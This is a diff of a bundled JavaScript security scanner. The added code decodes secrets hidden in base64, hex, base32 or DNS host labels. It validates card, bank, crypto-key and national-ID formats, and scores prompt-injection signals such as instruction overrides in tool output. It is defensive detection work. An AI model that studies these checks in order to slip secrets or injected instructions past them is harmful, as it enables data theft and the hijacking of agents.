if (want === void 0 || s.length < want) return false;
|
|
3377
|
-
const iban = s.slice(0, want);
|
|
3378
|
-
if (!/^[A-Z0-9]+$/.test(iban)) return false;
|
|
3379
|
-
const rearranged = iban.slice(4) + iban.slice(0, 4);
|
|
3380
|
-
let mod = 0;
|
|
3381
|
-
for (const ch of rearranged) {
|
|
3382
|
-
const code = ch.charCodeAt(0);
|
|
3383
|
-
const digits = code >= 65 ? String(code - 55) : ch;
|
|
3384
|
-
for (const d of digits) mod = (mod * 10 + (d.charCodeAt(0) - 48)) % 97;
|
|
3385
|
-
}
|
|
3386
|
-
return mod === 1;
|
|
3387
|
-
}
|
|
3388
|
-
function validateBase58Check(s) {
|
|
3389
|
-
if (!s) return null;
|
|
3390
|
-
let n = 0n;
|
|
3391
|
-
for (const c of s) {
|
|
3392
|
-
const v = B58_INDEX[c];
|
|
3393
|
-
if (v === void 0) return null;
|
|
3394
|
-
n = n * 58n + BigInt(v);
|
|
3395
|
-
}
|
|
3396
|
-
let hex = n.toString(16);
|
|
3397
|
-
if (hex.length % 2) hex = "0" + hex;
|
|
3398
|
-
let zeros = 0;
|
|
3399
|
-
for (const c of s) {
|
|
3400
|
-
if (c !== "1") break;
|
|
3401
|
-
zeros++;
|
|
3402
|
-
}
|
|
3403
|
-
const bytes = Buffer.concat([
|
|
3404
|
-
Buffer.alloc(zeros),
|
|
3405
|
-
n === 0n ? Buffer.alloc(0) : Buffer.from(hex, "hex")
|
|
3406
|
-
]);
|
|
3407
|
-
if (bytes.length < 5) return null;
|
|
3408
|
-
const body = bytes.subarray(0, bytes.length - 4);
|
|
3409
|
-
const check = bytes.subarray(bytes.length - 4);
|
|
3410
|
-
const h = (0, import_crypto3.createHash)("sha256").update((0, import_crypto3.createHash)("sha256").update(body).digest()).digest();
|
|
3411
|
-
return h.subarray(0, 4).equals(check) ? body : null;
|
|
3674
|
+
function newSecretViewBudget() {
|
|
3675
|
+
return { hashes: 0, nestedBytes: 0, joinedLabelBytes: 0, reasons: /* @__PURE__ */ new Set() };
|
|
3412
3676
|
}
|
|
3413
|
-
function
|
|
3414
|
-
|
|
3415
|
-
|
|
3416
|
-
|
|
3677
|
+
function textBytes(buf) {
|
|
3678
|
+
if (buf.length < 16) return null;
|
|
3679
|
+
const text = buf.toString("utf8");
|
|
3680
|
+
if (!Buffer.from(text).equals(buf) || /[\x00-\x08\x0b\x0c\x0e-\x1f\x7f]/.test(text)) return null;
|
|
3681
|
+
return text;
|
|
3417
3682
|
}
|
|
3418
|
-
function
|
|
3419
|
-
|
|
3420
|
-
|
|
3421
|
-
|
|
3422
|
-
|
|
3683
|
+
function percentOnce(text) {
|
|
3684
|
+
return text.replace(/(?:%[a-f0-9]{2})+/gi, (run) => {
|
|
3685
|
+
try {
|
|
3686
|
+
return decodeURIComponent(run);
|
|
3687
|
+
} catch {
|
|
3688
|
+
return run.replace(
|
|
3689
|
+
/%([a-f0-9]{2})/gi,
|
|
3690
|
+
(_, h) => String.fromCharCode(parseInt(h, 16))
|
|
3691
|
+
);
|
|
3692
|
+
}
|
|
3693
|
+
});
|
|
3423
3694
|
}
|
|
3424
|
-
function
|
|
3425
|
-
if (!
|
|
3426
|
-
|
|
3427
|
-
|
|
3428
|
-
|
|
3429
|
-
|
|
3430
|
-
|
|
3695
|
+
function* wrappedBase64(text) {
|
|
3696
|
+
if (!text.includes("\n")) return;
|
|
3697
|
+
const word = /^[A-Za-z0-9+/_-]+={0,2}$/;
|
|
3698
|
+
let run = [];
|
|
3699
|
+
let width = 0;
|
|
3700
|
+
const flush = function* () {
|
|
3701
|
+
if (run.length >= 2) yield run.join("");
|
|
3702
|
+
run = [];
|
|
3703
|
+
width = 0;
|
|
3704
|
+
};
|
|
3705
|
+
for (const raw of text.split("\n")) {
|
|
3706
|
+
const line = raw.trim();
|
|
3707
|
+
const full = line.length >= 16 && word.test(line) && !line.includes("=");
|
|
3708
|
+
if (full && (!run.length || line.length === width)) {
|
|
3709
|
+
run.push(line);
|
|
3710
|
+
width = line.length;
|
|
3711
|
+
continue;
|
|
3712
|
+
}
|
|
3713
|
+
if (run.length && word.test(line) && line.length >= 2 && line.length <= width) {
|
|
3714
|
+
run.push(line);
|
|
3715
|
+
yield* flush();
|
|
3716
|
+
continue;
|
|
3717
|
+
}
|
|
3718
|
+
yield* flush();
|
|
3719
|
+
if (full) {
|
|
3720
|
+
run.push(line);
|
|
3721
|
+
width = line.length;
|
|
3431
3722
|
}
|
|
3432
3723
|
}
|
|
3433
|
-
|
|
3434
|
-
let c = -1;
|
|
3435
|
-
for (let i = 0; i < bytes.length; i++) c = CRC32_TABLE[(c ^ bytes[i]) & 255] ^ c >>> 8;
|
|
3436
|
-
return (c ^ -1) >>> 0;
|
|
3724
|
+
yield* flush();
|
|
3437
3725
|
}
|
|
3438
|
-
function
|
|
3439
|
-
|
|
3440
|
-
|
|
3441
|
-
|
|
3442
|
-
|
|
3443
|
-
|
|
3726
|
+
function* encodedRegions(text, budget) {
|
|
3727
|
+
yield [text, false];
|
|
3728
|
+
for (const block of wrappedBase64(text)) yield [block, false];
|
|
3729
|
+
for (const match of text.matchAll(/(?<![a-z0-9+.-])[a-z][a-z0-9+.-]{0,30}:\/\/[^\s<>"']+/gi)) {
|
|
3730
|
+
try {
|
|
3731
|
+
new URL(match[0]);
|
|
3732
|
+
} catch {
|
|
3733
|
+
continue;
|
|
3734
|
+
}
|
|
3735
|
+
const parts = match[0].match(
|
|
3736
|
+
/^[a-z][a-z0-9+.-]*:\/\/([^/?#]*)([^?#]*)(?:\?([^#]*))?(?:#(.*))?$/i
|
|
3737
|
+
);
|
|
3738
|
+
if (!parts) continue;
|
|
3739
|
+
const host2 = parts[1].slice(parts[1].lastIndexOf("@") + 1).replace(/:\d+$/, "");
|
|
3740
|
+
const regions = [
|
|
3741
|
+
parts[1],
|
|
3742
|
+
...host2.split("."),
|
|
3743
|
+
...parts[2].split("/"),
|
|
3744
|
+
...(parts[3] ?? "").split("&"),
|
|
3745
|
+
parts[4] ?? ""
|
|
3746
|
+
];
|
|
3747
|
+
for (const region of regions) if (region) yield [region, false];
|
|
3748
|
+
const labels = host2.split(".");
|
|
3749
|
+
if (host2.length > SECRET_VIEW_LIMITS.maxHostLength || labels.length > SECRET_VIEW_LIMITS.maxLabels || !labels.every((l) => l.length >= 1 && l.length <= SECRET_VIEW_LIMITS.maxLabelLength))
|
|
3750
|
+
continue;
|
|
3751
|
+
for (let start = 0; start < labels.length; start++) {
|
|
3752
|
+
let joined = labels[start];
|
|
3753
|
+
for (let end = start + 1; end < Math.min(labels.length, start + 8); end++) {
|
|
3754
|
+
const run = labels.slice(start, end + 1);
|
|
3755
|
+
if (!run.every((s) => /^[a-f0-9]{2,}$/i.test(s)) && !run.every((s) => /^[A-Z2-7]{4,}$/i.test(s)))
|
|
3756
|
+
break;
|
|
3757
|
+
joined += labels[end];
|
|
3758
|
+
if (joined.length < 16) continue;
|
|
3759
|
+
budget.joinedLabelBytes += joined.length;
|
|
3760
|
+
if (budget.joinedLabelBytes > SECRET_VIEW_LIMITS.maxJoinedLabelBytes) {
|
|
3761
|
+
budget.reasons.add("decode-labels");
|
|
3762
|
+
return;
|
|
3763
|
+
}
|
|
3764
|
+
yield [joined, true];
|
|
3765
|
+
}
|
|
3766
|
+
}
|
|
3767
|
+
}
|
|
3768
|
+
}
|
|
3769
|
+
function decodeBase32(raw) {
|
|
3770
|
+
const alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567";
|
|
3771
|
+
const out = [];
|
|
3772
|
+
let bits = 0;
|
|
3773
|
+
let accumulator = 0;
|
|
3774
|
+
for (const c of raw.toUpperCase()) {
|
|
3775
|
+
accumulator = accumulator << 5 | alphabet.indexOf(c);
|
|
3776
|
+
bits += 5;
|
|
3777
|
+
if (bits >= 8) {
|
|
3778
|
+
bits -= 8;
|
|
3779
|
+
out.push(accumulator >> bits);
|
|
3780
|
+
accumulator &= (1 << bits) - 1;
|
|
3781
|
+
}
|
|
3782
|
+
}
|
|
3783
|
+
if ([1, 3, 6].includes(raw.length % 8) || accumulator !== 0) return null;
|
|
3784
|
+
return Buffer.from(out);
|
|
3785
|
+
}
|
|
3786
|
+
function* decodedCandidates(text, budget) {
|
|
3787
|
+
const stripped = stripInvisible(text);
|
|
3788
|
+
if (stripped !== text) yield ["invisibles", stripped];
|
|
3789
|
+
if (/%[a-f0-9]{2}/i.test(text)) yield ["percent", percentOnce(text)];
|
|
3790
|
+
const families = [
|
|
3791
|
+
["base64", /[A-Za-z0-9+/_-]{22,}={0,2}/g],
|
|
3792
|
+
["hex", /\b(?:[a-f0-9]{2}){16,}\b/gi],
|
|
3793
|
+
["hex-escaped", /(?:\\x[a-f0-9]{2}){16,}/gi],
|
|
3794
|
+
["hex-delimited", /\b[a-f0-9]{2}(?:-[a-f0-9]{2}){15,}\b/gi],
|
|
3795
|
+
["base32", /\b[A-Z2-7]{26,}\b/gi]
|
|
3796
|
+
];
|
|
3797
|
+
for (const [region, joined] of encodedRegions(text, budget)) {
|
|
3798
|
+
if (joined) yield ["dns-labels", region];
|
|
3799
|
+
for (const [kind, re] of families) {
|
|
3800
|
+
for (const match of region.matchAll(re)) {
|
|
3801
|
+
const raw = match[0];
|
|
3802
|
+
let buf;
|
|
3803
|
+
if (kind === "base64") {
|
|
3804
|
+
if (/^[a-f0-9]+$/i.test(raw)) continue;
|
|
3805
|
+
const normalized = raw.replace(/-/g, "+").replace(/_/g, "/");
|
|
3806
|
+
const unpadded = normalized.replace(/=+$/, "");
|
|
3807
|
+
if (unpadded.length % 4 === 1 || raw.includes("=") && raw.length % 4 !== 0) continue;
|
|
3808
|
+
buf = Buffer.from(normalized, "base64");
|
|
3809
|
+
if (buf.toString("base64").replace(/=+$/, "") !== unpadded) continue;
|
|
3810
|
+
} else if (kind === "base32") {
|
|
3811
|
+
const decoded2 = decodeBase32(raw);
|
|
3812
|
+
if (!decoded2) continue;
|
|
3813
|
+
buf = decoded2;
|
|
3814
|
+
} else {
|
|
3815
|
+
buf = Buffer.from(raw.replace(/\\x|-/gi, ""), "hex");
|
|
3816
|
+
}
|
|
3817
|
+
const decoded = textBytes(buf);
|
|
3818
|
+
if (decoded !== null) yield [kind, decoded];
|
|
3819
|
+
}
|
|
3820
|
+
}
|
|
3821
|
+
}
|
|
3822
|
+
}
|
|
3823
|
+
function secretViews(text, budget) {
|
|
3824
|
+
const seen = /* @__PURE__ */ new Set([text]);
|
|
3825
|
+
const out = [];
|
|
3826
|
+
let frontier = [{ text, transforms: [] }];
|
|
3827
|
+
for (let depth = 1; depth <= SECRET_VIEW_LIMITS.maxDepth; depth++) {
|
|
3828
|
+
const next = [];
|
|
3829
|
+
for (const parent of frontier) {
|
|
3830
|
+
let perLeaf = 0;
|
|
3831
|
+
for (const [kind, decoded] of decodedCandidates(parent.text, budget)) {
|
|
3832
|
+
if (seen.has(decoded)) continue;
|
|
3833
|
+
seen.add(decoded);
|
|
3834
|
+
const normalizing = kind === "invisibles" || kind === "percent";
|
|
3835
|
+
if (depth >= 2 && !normalizing) {
|
|
3836
|
+
budget.nestedBytes += Buffer.byteLength(decoded);
|
|
3837
|
+
if (++perLeaf > SECRET_VIEW_LIMITS.maxNestedViewsPerLeaf || budget.nestedBytes > SECRET_VIEW_LIMITS.maxNestedBytes) {
|
|
3838
|
+
budget.reasons.add("decode-nested");
|
|
3839
|
+
return out;
|
|
3840
|
+
}
|
|
3841
|
+
}
|
|
3842
|
+
const view = { text: decoded, transforms: [...parent.transforms, kind] };
|
|
3843
|
+
out.push(view);
|
|
3844
|
+
next.push(view);
|
|
3845
|
+
}
|
|
3846
|
+
}
|
|
3847
|
+
frontier = next;
|
|
3848
|
+
if (!frontier.length) return out;
|
|
3849
|
+
}
|
|
3850
|
+
for (const view of frontier) {
|
|
3851
|
+
if (!decodedCandidates(view.text, budget).next().done) {
|
|
3852
|
+
budget.reasons.add("decode-nested");
|
|
3853
|
+
break;
|
|
3854
|
+
}
|
|
3855
|
+
}
|
|
3856
|
+
return out;
|
|
3857
|
+
}
|
|
3858
|
+
function validateLuhn(digits) {
|
|
3859
|
+
if (!/^\d+$/.test(digits)) return false;
|
|
3860
|
+
if (digits.length < 12) return false;
|
|
3861
|
+
if (!/[1-9]/.test(digits)) return false;
|
|
3862
|
+
let sum = 0;
|
|
3863
|
+
let double = false;
|
|
3864
|
+
for (let i = digits.length - 1; i >= 0; i--) {
|
|
3865
|
+
let d = digits.charCodeAt(i) - 48;
|
|
3866
|
+
if (double) {
|
|
3867
|
+
d *= 2;
|
|
3868
|
+
if (d > 9) d -= 9;
|
|
3869
|
+
}
|
|
3870
|
+
sum += d;
|
|
3871
|
+
double = !double;
|
|
3872
|
+
}
|
|
3873
|
+
return sum % 10 === 0;
|
|
3874
|
+
}
|
|
3875
|
+
function validateAbaRouting(digits) {
|
|
3876
|
+
if (!/^\d{9}$/.test(digits)) return false;
|
|
3877
|
+
const prefix = Number(digits.slice(0, 2));
|
|
3878
|
+
const assigned = prefix <= 12 || prefix >= 21 && prefix <= 32 || prefix >= 61 && prefix <= 72 || prefix === 80;
|
|
3879
|
+
if (!assigned) return false;
|
|
3880
|
+
const weights = [3, 7, 1, 3, 7, 1, 3, 7, 1];
|
|
3881
|
+
let sum = 0;
|
|
3882
|
+
for (let i = 0; i < 9; i++) sum += (digits.charCodeAt(i) - 48) * weights[i];
|
|
3883
|
+
return sum % 10 === 0;
|
|
3884
|
+
}
|
|
3885
|
+
function validateIban(raw) {
|
|
3886
|
+
const s = raw.replace(/[ -]/g, "").toUpperCase();
|
|
3887
|
+
if (!/^[A-Z]{2}\d{2}/.test(s)) return false;
|
|
3888
|
+
const want = IBAN_LENGTH[s.slice(0, 2)];
|
|
3889
|
+
if (want === void 0 || s.length < want) return false;
|
|
3890
|
+
const iban = s.slice(0, want);
|
|
3891
|
+
if (!/^[A-Z0-9]+$/.test(iban)) return false;
|
|
3892
|
+
const shape = IBAN_BBAN_SHAPE[iban.slice(0, 2)];
|
|
3893
|
+
if (shape && !shape.test(iban.slice(4))) return false;
|
|
3894
|
+
const rearranged = iban.slice(4) + iban.slice(0, 4);
|
|
3895
|
+
let mod = 0;
|
|
3896
|
+
for (const ch of rearranged) {
|
|
3897
|
+
const code = ch.charCodeAt(0);
|
|
3898
|
+
const digits = code >= 65 ? String(code - 55) : ch;
|
|
3899
|
+
for (const d of digits) mod = (mod * 10 + (d.charCodeAt(0) - 48)) % 97;
|
|
3900
|
+
}
|
|
3901
|
+
return mod === 1;
|
|
3902
|
+
}
|
|
3903
|
+
function validateBase58Check(s) {
|
|
3904
|
+
if (!s) return null;
|
|
3905
|
+
let n = 0n;
|
|
3906
|
+
for (const c of s) {
|
|
3907
|
+
const v = B58_INDEX[c];
|
|
3908
|
+
if (v === void 0) return null;
|
|
3909
|
+
n = n * 58n + BigInt(v);
|
|
3910
|
+
}
|
|
3911
|
+
let hex = n.toString(16);
|
|
3912
|
+
if (hex.length % 2) hex = "0" + hex;
|
|
3913
|
+
let zeros = 0;
|
|
3914
|
+
for (const c of s) {
|
|
3915
|
+
if (c !== "1") break;
|
|
3916
|
+
zeros++;
|
|
3917
|
+
}
|
|
3918
|
+
const bytes = Buffer.concat([
|
|
3919
|
+
Buffer.alloc(zeros),
|
|
3920
|
+
n === 0n ? Buffer.alloc(0) : Buffer.from(hex, "hex")
|
|
3921
|
+
]);
|
|
3922
|
+
if (bytes.length < 5) return null;
|
|
3923
|
+
const body = bytes.subarray(0, bytes.length - 4);
|
|
3924
|
+
const check = bytes.subarray(bytes.length - 4);
|
|
3925
|
+
const h = (0, import_crypto3.createHash)("sha256").update((0, import_crypto3.createHash)("sha256").update(body).digest()).digest();
|
|
3926
|
+
return h.subarray(0, 4).equals(check) ? body : null;
|
|
3927
|
+
}
|
|
3928
|
+
function validateWif(s) {
|
|
3929
|
+
const p = validateBase58Check(s);
|
|
3930
|
+
if (!p || p[0] !== 128) return false;
|
|
3931
|
+
return p.length === 33 || p.length === 34 && p[33] === 1;
|
|
3932
|
+
}
|
|
3933
|
+
function validateXprv(s) {
|
|
3934
|
+
const p = validateBase58Check(s);
|
|
3935
|
+
if (!p || p.length !== 78) return false;
|
|
3936
|
+
const version = p.readUInt32BE(0);
|
|
3937
|
+
return XPRV_VERSIONS.has(version) && p[45] === 0;
|
|
3938
|
+
}
|
|
3939
|
+
function crc32(input) {
|
|
3940
|
+
if (!CRC32_TABLE) {
|
|
3941
|
+
CRC32_TABLE = new Int32Array(256);
|
|
3942
|
+
for (let i = 0; i < 256; i++) {
|
|
3943
|
+
let c2 = i;
|
|
3944
|
+
for (let k = 0; k < 8; k++) c2 = c2 & 1 ? 3988292384 ^ c2 >>> 1 : c2 >>> 1;
|
|
3945
|
+
CRC32_TABLE[i] = c2;
|
|
3946
|
+
}
|
|
3947
|
+
}
|
|
3948
|
+
const bytes = typeof input === "string" ? Buffer.from(input, "utf8") : input;
|
|
3949
|
+
let c = -1;
|
|
3950
|
+
for (let i = 0; i < bytes.length; i++) c = CRC32_TABLE[(c ^ bytes[i]) & 255] ^ c >>> 8;
|
|
3951
|
+
return (c ^ -1) >>> 0;
|
|
3952
|
+
}
|
|
3953
|
+
function base62Checksum(value) {
|
|
3954
|
+
let n = value >>> 0;
|
|
3955
|
+
let s = "";
|
|
3956
|
+
while (n > 0) {
|
|
3957
|
+
s = B62[n % 62] + s;
|
|
3958
|
+
n = Math.floor(n / 62);
|
|
3444
3959
|
}
|
|
3445
3960
|
return s.padStart(6, "0");
|
|
3446
3961
|
}
|
|
@@ -3478,11 +3993,138 @@ function validateCask(raw) {
|
|
|
3478
3993
|
const second = b64urlIndex(s[tsAt + 5]);
|
|
3479
3994
|
return month <= 11 && day <= 30 && hour <= 23 && minute <= 59 && second <= 59;
|
|
3480
3995
|
}
|
|
3481
|
-
function
|
|
3482
|
-
|
|
3996
|
+
function plausibleDate(mm, dd) {
|
|
3997
|
+
const m = Number(mm);
|
|
3998
|
+
const d = Number(dd);
|
|
3999
|
+
return m >= 1 && m <= 12 && d >= 1 && d <= 31;
|
|
3483
4000
|
}
|
|
3484
|
-
function
|
|
3485
|
-
|
|
4001
|
+
function validateCodiceFiscale(raw) {
|
|
4002
|
+
const s = raw.toUpperCase();
|
|
4003
|
+
if (!/^[A-Z]{6}\d{2}[A-EHLMPRST]\d{2}[A-Z]\d{3}[A-Z]$/.test(s)) return false;
|
|
4004
|
+
let sum = 0;
|
|
4005
|
+
for (let i = 0; i < 15; i++) sum += (i % 2 === 0 ? CF_ODD : CF_EVEN)[s[i]];
|
|
4006
|
+
return s[15] === String.fromCharCode(65 + sum % 26);
|
|
4007
|
+
}
|
|
4008
|
+
function validateSpanishId(raw) {
|
|
4009
|
+
const s = raw.toUpperCase();
|
|
4010
|
+
const m = /^([XYZ]?)(\d{7,8})([A-Z])$/.exec(s);
|
|
4011
|
+
if (!m) return false;
|
|
4012
|
+
if (m[1] === "" && m[2].length !== 8 || m[1] !== "" && m[2].length !== 7) return false;
|
|
4013
|
+
const digits = (m[1] === "" ? "" : String("XYZ".indexOf(m[1]))) + m[2];
|
|
4014
|
+
return SPANISH_LETTERS[Number(digits) % 23] === m[3];
|
|
4015
|
+
}
|
|
4016
|
+
function validatePesel(raw) {
|
|
4017
|
+
if (!/^\d{11}$/.test(raw)) return false;
|
|
4018
|
+
const month = Number(raw.slice(2, 4)) % 20;
|
|
4019
|
+
if (!plausibleDate(String(month).padStart(2, "0"), raw.slice(4, 6))) return false;
|
|
4020
|
+
const weights = [1, 3, 7, 9, 1, 3, 7, 9, 1, 3];
|
|
4021
|
+
let sum = 0;
|
|
4022
|
+
for (let i = 0; i < 10; i++) sum += (raw.charCodeAt(i) - 48) * weights[i];
|
|
4023
|
+
return (10 - sum % 10) % 10 === raw.charCodeAt(10) - 48;
|
|
4024
|
+
}
|
|
4025
|
+
function validateCnp(raw) {
|
|
4026
|
+
if (!/^[1-9]\d{12}$/.test(raw)) return false;
|
|
4027
|
+
if (!plausibleDate(raw.slice(3, 5), raw.slice(5, 7))) return false;
|
|
4028
|
+
const county = Number(raw.slice(7, 9));
|
|
4029
|
+
if (!(county >= 1 && county <= 52 || county === 70 || county === 71)) return false;
|
|
4030
|
+
const key = "279146358279";
|
|
4031
|
+
let sum = 0;
|
|
4032
|
+
for (let i = 0; i < 12; i++) sum += (raw.charCodeAt(i) - 48) * (key.charCodeAt(i) - 48);
|
|
4033
|
+
const r = sum % 11;
|
|
4034
|
+
return (r === 10 ? 1 : r) === raw.charCodeAt(12) - 48;
|
|
4035
|
+
}
|
|
4036
|
+
function validateNir(raw) {
|
|
4037
|
+
const s = raw.replace(/\s+/g, "").toUpperCase();
|
|
4038
|
+
const m = /^([12]\d{2}(0[1-9]|1[0-2]|[2-9]\d)(\d{2}|2A|2B)\d{6})(\d{2})$/.exec(s);
|
|
4039
|
+
if (!m) return false;
|
|
4040
|
+
const body = m[1].replace("2A", "19").replace("2B", "18");
|
|
4041
|
+
const key = Number(m[4]);
|
|
4042
|
+
return key >= 1 && key <= 97 && 97 - Number(body) % 97 === key;
|
|
4043
|
+
}
|
|
4044
|
+
function validateSwissAhv(raw) {
|
|
4045
|
+
const m = /^756\.(\d{4})\.(\d{4})\.(\d{2})$/.exec(raw);
|
|
4046
|
+
if (!m) return false;
|
|
4047
|
+
const digits = "756" + m[1] + m[2] + m[3];
|
|
4048
|
+
let sum = 0;
|
|
4049
|
+
for (let i = 0; i < 12; i++) sum += (digits.charCodeAt(i) - 48) * (i % 2 === 0 ? 1 : 3);
|
|
4050
|
+
return (10 - sum % 10) % 10 === digits.charCodeAt(12) - 48;
|
|
4051
|
+
}
|
|
4052
|
+
function validateSwissUid(raw) {
|
|
4053
|
+
const m = /^CHE-(\d{3})\.(\d{3})\.(\d{3})$/i.exec(raw);
|
|
4054
|
+
if (!m) return false;
|
|
4055
|
+
const digits = m[1] + m[2] + m[3];
|
|
4056
|
+
const weights = [5, 4, 3, 2, 7, 6, 5, 4];
|
|
4057
|
+
let sum = 0;
|
|
4058
|
+
for (let i = 0; i < 8; i++) sum += (digits.charCodeAt(i) - 48) * weights[i];
|
|
4059
|
+
const check = 11 - sum % 11;
|
|
4060
|
+
if (check === 10) return false;
|
|
4061
|
+
return (check === 11 ? 0 : check) === digits.charCodeAt(8) - 48;
|
|
4062
|
+
}
|
|
4063
|
+
function validateSwedishPersonnummer(raw) {
|
|
4064
|
+
const m = /^(\d{2})(\d{2})(\d{2})[-+](\d{4})$/.exec(raw);
|
|
4065
|
+
if (!m) return false;
|
|
4066
|
+
if (!plausibleDate(m[2], m[3])) return false;
|
|
4067
|
+
const digits = m[1] + m[2] + m[3] + m[4];
|
|
4068
|
+
let sum = 0;
|
|
4069
|
+
for (let i = 0; i < 10; i++) {
|
|
4070
|
+
let d = digits.charCodeAt(i) - 48;
|
|
4071
|
+
if (i % 2 === 0) {
|
|
4072
|
+
d *= 2;
|
|
4073
|
+
if (d > 9) d -= 9;
|
|
4074
|
+
}
|
|
4075
|
+
sum += d;
|
|
4076
|
+
}
|
|
4077
|
+
return sum % 10 === 0;
|
|
4078
|
+
}
|
|
4079
|
+
function validateNorwegianFnr(raw) {
|
|
4080
|
+
if (!/^\d{11}$/.test(raw)) return false;
|
|
4081
|
+
if (!plausibleDate(raw.slice(2, 4), raw.slice(0, 2))) return false;
|
|
4082
|
+
const control = (weights, upto) => {
|
|
4083
|
+
let sum = 0;
|
|
4084
|
+
for (let i = 0; i < upto; i++) sum += (raw.charCodeAt(i) - 48) * weights[i];
|
|
4085
|
+
const k = 11 - sum % 11;
|
|
4086
|
+
return k === 11 ? 0 : k;
|
|
4087
|
+
};
|
|
4088
|
+
const k1 = control([3, 7, 6, 1, 8, 9, 4, 5, 2], 9);
|
|
4089
|
+
const k2 = control([5, 4, 3, 2, 7, 6, 5, 4, 3, 2], 10);
|
|
4090
|
+
return k1 < 10 && k2 < 10 && k1 === raw.charCodeAt(9) - 48 && k2 === raw.charCodeAt(10) - 48;
|
|
4091
|
+
}
|
|
4092
|
+
function validateFinnishHetu(raw) {
|
|
4093
|
+
const m = /^(\d{2})(\d{2})(\d{2})[-+A-FU-Y](\d{3})([0-9A-Y])$/.exec(raw.toUpperCase());
|
|
4094
|
+
if (!m) return false;
|
|
4095
|
+
if (!plausibleDate(m[2], m[1])) return false;
|
|
4096
|
+
const n = Number(m[1] + m[2] + m[3] + m[4]);
|
|
4097
|
+
return HETU_CHARS[n % 31] === m[5];
|
|
4098
|
+
}
|
|
4099
|
+
function matchesOutsideMention(re, text) {
|
|
4100
|
+
const g = new RegExp(re.source, re.flags.includes("g") ? re.flags : re.flags + "g");
|
|
4101
|
+
let m;
|
|
4102
|
+
while ((m = g.exec(text)) !== null) {
|
|
4103
|
+
if (m[0].length === 0) {
|
|
4104
|
+
g.lastIndex = m.index + 1;
|
|
4105
|
+
continue;
|
|
4106
|
+
}
|
|
4107
|
+
const before = text.slice(Math.max(0, m.index - 48), m.index);
|
|
4108
|
+
if (!(MENTION_QUOTE_RE.test(before) && MENTION_WORD_RE.test(before))) return true;
|
|
4109
|
+
}
|
|
4110
|
+
return false;
|
|
4111
|
+
}
|
|
4112
|
+
function scanInjection(text, ctx = {}) {
|
|
4113
|
+
if (!text) return null;
|
|
4114
|
+
const t = text.length > MAX ? text.slice(0, MAX) : text;
|
|
4115
|
+
const matched = [];
|
|
4116
|
+
for (const view of scanViews(t)) {
|
|
4117
|
+
for (const sig of SIGNALS) {
|
|
4118
|
+
if (matched.includes(sig.name)) continue;
|
|
4119
|
+
const hit = sig.name === "override-instructions" ? sig.any.some((re) => matchesOutsideMention(re, view.text)) : sig.any.some((re) => re.test(view.text));
|
|
4120
|
+
if (hit) matched.push(sig.name);
|
|
4121
|
+
}
|
|
4122
|
+
}
|
|
4123
|
+
if (matched.length === 0) return null;
|
|
4124
|
+
const untrusted = ctx.untrusted ?? (!!ctx.tool && UNTRUSTED_TOOLS.test(ctx.tool));
|
|
4125
|
+
const score = matched.length + (untrusted ? 1 : 0);
|
|
4126
|
+
const confidence = score >= 3 ? "high" : score === 2 ? "medium" : "low";
|
|
4127
|
+
return { signals: untrusted ? [...matched, "untrusted-origin"] : matched, confidence };
|
|
3486
4128
|
}
|
|
3487
4129
|
function isAssignmentContext(text) {
|
|
3488
4130
|
return ASSIGNMENT_CONTEXT_RE.test(text);
|
|
@@ -3565,7 +4207,41 @@ function validateAssignedSecret(raw, before = "") {
|
|
|
3565
4207
|
if (ARN_CONTEXT_RE.test(before)) return false;
|
|
3566
4208
|
const prefix = (before.match(/[A-Za-z0-9_]*$/)?.[0] ?? "") + (raw.startsWith("_") ? "_" : "");
|
|
3567
4209
|
if (!nameHoldsCredential(prefix + name)) return false;
|
|
3568
|
-
|
|
4210
|
+
if (isOtpDocSecret(value)) return false;
|
|
4211
|
+
const mixed = /[0-9]/.test(value) && /[A-Za-z]/.test(value);
|
|
4212
|
+
return looksGenerated(value, 12, mixed ? 3 : 3.5);
|
|
4213
|
+
}
|
|
4214
|
+
function validateCipherKeyLiteral(raw) {
|
|
4215
|
+
const name = capturedValue(raw, CIPHER_KEY_NAME_RE);
|
|
4216
|
+
const value = capturedValue(raw, CIPHER_KEY_VALUE_RE);
|
|
4217
|
+
if (name === null || value === null) return false;
|
|
4218
|
+
if (/pub/i.test(name) || !nameHoldsCredential(name)) return false;
|
|
4219
|
+
const parts = name.replace(/([a-z0-9])([A-Z])/g, "$1_$2").toLowerCase().split(/[_.-]+/);
|
|
4220
|
+
if (!parts.some((p) => CIPHER_NAME_PARTS.has(p))) return false;
|
|
4221
|
+
if (!/[a-z]/.test(value) || !/[A-Z]/.test(value) || !/[0-9]/.test(value)) return false;
|
|
4222
|
+
const bytes = Buffer.from(value, "base64");
|
|
4223
|
+
return bytes.length === 16 && bytes.toString("base64") === value;
|
|
4224
|
+
}
|
|
4225
|
+
function validateLaravelAppKey(raw) {
|
|
4226
|
+
const value = capturedValue(raw, LARAVEL_KEY_VALUE_RE);
|
|
4227
|
+
if (value === null) return false;
|
|
4228
|
+
const bytes = Buffer.from(value, "base64");
|
|
4229
|
+
return bytes.length === 32 && bytes.toString("base64") === value && shannonEntropy(value) >= 3;
|
|
4230
|
+
}
|
|
4231
|
+
function validateSqlPassword(raw) {
|
|
4232
|
+
const value = capturedValue(raw, SQL_PASSWORD_VALUE_RE);
|
|
4233
|
+
if (value === null) return false;
|
|
4234
|
+
const lower2 = value.toLowerCase();
|
|
4235
|
+
if (DLP_STOPWORDS.some((sw) => lower2.includes(sw)) || REFERENCE_VALUE_RE.test(value))
|
|
4236
|
+
return false;
|
|
4237
|
+
if (/^[a-z]+$/i.test(value) && value.length < 12) return false;
|
|
4238
|
+
return shannonEntropy(value) >= 2.5 && !hasSequentialRun(value);
|
|
4239
|
+
}
|
|
4240
|
+
function validateGrafanaApiKey(raw) {
|
|
4241
|
+
const value = capturedValue(raw, GRAFANA_KEY_VALUE_RE);
|
|
4242
|
+
if (value === null) return false;
|
|
4243
|
+
const text = Buffer.from(value, "base64").toString("utf8");
|
|
4244
|
+
return /^\{"k":"[A-Za-z0-9]{16,}"/.test(text);
|
|
3569
4245
|
}
|
|
3570
4246
|
function validateBasicCredential(raw) {
|
|
3571
4247
|
const b64 = capturedValue(raw, BASIC_VALUE_RE);
|
|
@@ -3588,6 +4264,13 @@ function validateBasicCredential(raw) {
|
|
|
3588
4264
|
if (DLP_STOPWORDS.some((sw) => lower2.includes(sw)) || hasSequentialRun(password)) return false;
|
|
3589
4265
|
return shannonEntropy(password) >= 3;
|
|
3590
4266
|
}
|
|
4267
|
+
function validateDbConnectionString(raw) {
|
|
4268
|
+
